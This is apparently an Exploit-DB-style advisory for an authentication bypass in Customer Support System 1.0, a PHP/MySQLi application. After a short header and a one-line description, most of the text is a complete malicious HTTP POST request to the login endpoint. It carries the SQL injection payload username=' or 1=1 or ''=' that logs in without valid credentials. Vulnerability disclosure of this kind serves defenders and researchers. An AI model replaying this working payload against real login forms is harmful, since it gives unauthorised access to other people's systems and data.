30 lines
No EOL
1.3 KiB
Text
30 lines
No EOL
1.3 KiB
Text
# Title: Customer Support System 1.0 - 'username' Authentication Bypass
|
|
# Date: 2020-11-11
|
|
# Exploit Author: Ahmed Abbas
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html
|
|
# Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code
|
|
# Version: 1.0
|
|
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
|
|
|
|
|
|
# Description : Authentication Bypass
|
|
# Vulnerability Details:
|
|
[+] A SQL injection vulnerability in Customer Support System 1.0 allows remote unauthenticated attackers to bypass the authentication process via username and password parameters.
|
|
|
|
|
|
# Malicious POST Request to https://TARGET
|
|
POST /customer_support/ajax.php?action=login HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 62
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/customer_support/login.php
|
|
Cookie: PHPSESSID=gbattc1r1riap25kr5k2k1ureo
|
|
|
|
username=' or 1=1 or ''='&password=password&type=1 |